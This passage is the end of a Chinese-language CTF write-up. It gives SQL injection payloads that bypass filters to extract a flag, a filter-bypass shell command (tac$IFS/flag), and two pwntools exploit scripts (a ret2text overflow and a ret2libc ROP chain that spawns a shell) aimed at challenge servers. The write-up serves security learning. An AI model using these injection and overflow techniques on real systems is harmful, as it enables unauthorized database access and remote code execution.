  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_sql_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1715" height="426"
/>
</p>
<p>这里好像限制了输出20位，所以想到使用字符串截断，截取某段进行输出，但是测试后发现<code>substr</code>、<code>substring</code>、<code>left</code>、<code>right</code>、<code>explode</code>都被过滤了，在php手册中找到<code>mid</code>函数，这个没被过滤，调整截取位置即可</p>
<p>第一段flag已经得到：<code>NSSCTF{19791ad8-fbf5</code></p>
<p>第二次爆数据Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第二段flag：<code>fbf5-4e14-bda6-e1b0a</code></p>
<p>第三次爆数据Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第三段flag：<code>6-e1b0a3e10da0}</code></p>
<p>连接起来就行</p>
<h2 id="pwn">PWN<a class="anchor" href="#pwn">#</a></h2>
<blockquote>
<p>pwn入门，编译原理+数据结构+二进制漏洞头疼，5道pwn做出了3道，步骤简单，但有时候一句代码原理纠结一两天</p>
</blockquote>
<h3 id="nc签到">nc签到<a class="anchor" href="#nc签到">#</a></h3>
<p><img
  src="/077813/swpu_ncqd_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="456" height="384"
/>
</p>
<p>nc一堆乱码，IDA打开附件看看</p>
<p><img
  src="/077813/swpu_ncqd_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="289" height="342"
/>
</p>
<p>这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令，接收用户输入，如果输入值里含有黑名单里的值，就退出程序，否则就执行，过滤了基本指令和空格，flag一般都在根目录下，<code>tac$IFS/flag</code>即可</p>
<p><img
  src="/077813/swpu_ncqd_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="534" height="416"
/>
</p>
<p>有时候这个bash输入啥都不回显，关掉重新nc即可</p>
<h3 id="gift_pwn">gift_pwn<a class="anchor" href="#gift_pwn">#</a></h3>
<p>标准操作</p>
<p><img
  src="/077813/swpu_gift_pwn_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="717" height="233"
/>
</p>
<p>运行也就一个输入，IDA打开</p>
<p><img
  src="/077813/swpu_gift_pwn_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1180" height="387"
/>
</p>
<p>就一个vuln()函数，左边列表有gift，是个后门函数，后面会用到，进入vuln函数</p>
<p><img
  src="/077813/swpu_gift_pwn_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="511" height="158"
/>
</p>
<p>明显的栈溢出，然后打开gift函数的汇编</p>
<p><img
  src="/077813/swpu_gift_pwn_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="819" height="289"
/>
</p>
<p>payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;1.14.71.254&#39;</span><span class="p">,</span><span class="mi">28090</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">bin_sh_addr</span><span class="o">=</span><span class="mh">0x00000000004005C4</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="p">(</span><span class="mi">16</span><span class="o">+</span><span class="mi">8</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_sh_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_gift_pwn_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="729" height="289"
/>
</p>
<h3 id="whitegive_pwn">whitegive_pwn<a class="anchor" href="#whitegive_pwn">#</a></h3>
<p>理解好久那个函数偏移量，我理论没错啊，但是exp没用，后来请教了许多pwn佬，才基本理解，总的来说，比上题少了后门，连字符串都没有，所以需要使用ROP(返回导向编程)，这个返回导向我感觉就是用碎片做跳板ret到下一个链子，但是学的时候又有参数，搞得乱了，这题exp能写出来，还是练得少</p>
<p>检查文件</p>
<p><img
  src="/077813/swpu_whitegive_pwn_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="719" height="238"
/>
</p>
<p>没开PIE万幸</p>
<p>这次的“gift”是puts函数，用这个函数去输出puts真实地址</p>
<p>整体思路就是，溢出，rop碎片跳转，put的got地址，这一步说是为了初始化，但我感觉是为了调用puts。然后连接puts的plt地址，这个就是参数，程序只有一句输入就结束了，后续操作需要再次运行程序，所以加上main函数地址</p>
<p>随后对返回的puts地址切片填充处理，查找相应libc，计算出libc基址，根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">LibcSearcher</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;1.14.71.254&#39;</span><span class="p">,</span><span class="mi">28132</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./pwn3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">put_plt</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">put_got</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">main_add</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">rdi_add</span><span class="o">=</span><span class="mh">0x0000000000400763</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_got</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_plt</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_add</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">()[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">d</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">LibcSearcher</span><span class="p">(</span><span class="s1">&#39;puts&#39;</span><span class="p">,</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">off</span><span class="o">=</span><span class="n">d</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;puts&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">sys_add</span><span class="o">=</span><span class="n">off</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">bin_add</span><span class="o">=</span><span class="n">off</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;str_bin_sh&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">sys_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_add</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里有个要注意的地方，做pwn题的时候由于环境不同，会发生本地通远程不通，远程通本地不通，甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题，我本地查找libc以及在线查找libc显示6个libc库，而且不能用，我一直以为是我没更新，折腾一晚上，各种版本的libc-database轮番下载安装，甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc，吐了，下次不给libc的题就是sb，对pwn新手极其不友好</p>
<p><img
  src="/077813/swpu_whitegive_pwn_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="788" height="614"
/>
</p>
<p>到这里吧，以后有机会更新的话再更新，还要恶补工控CTF，工控的流量分析，图纸，各种通信协议太难了</p>
]]></content:encoded><category>反序列化</category><category>伪协议</category><category>SQL注入</category><category>Pwn</category></item></channel></rss>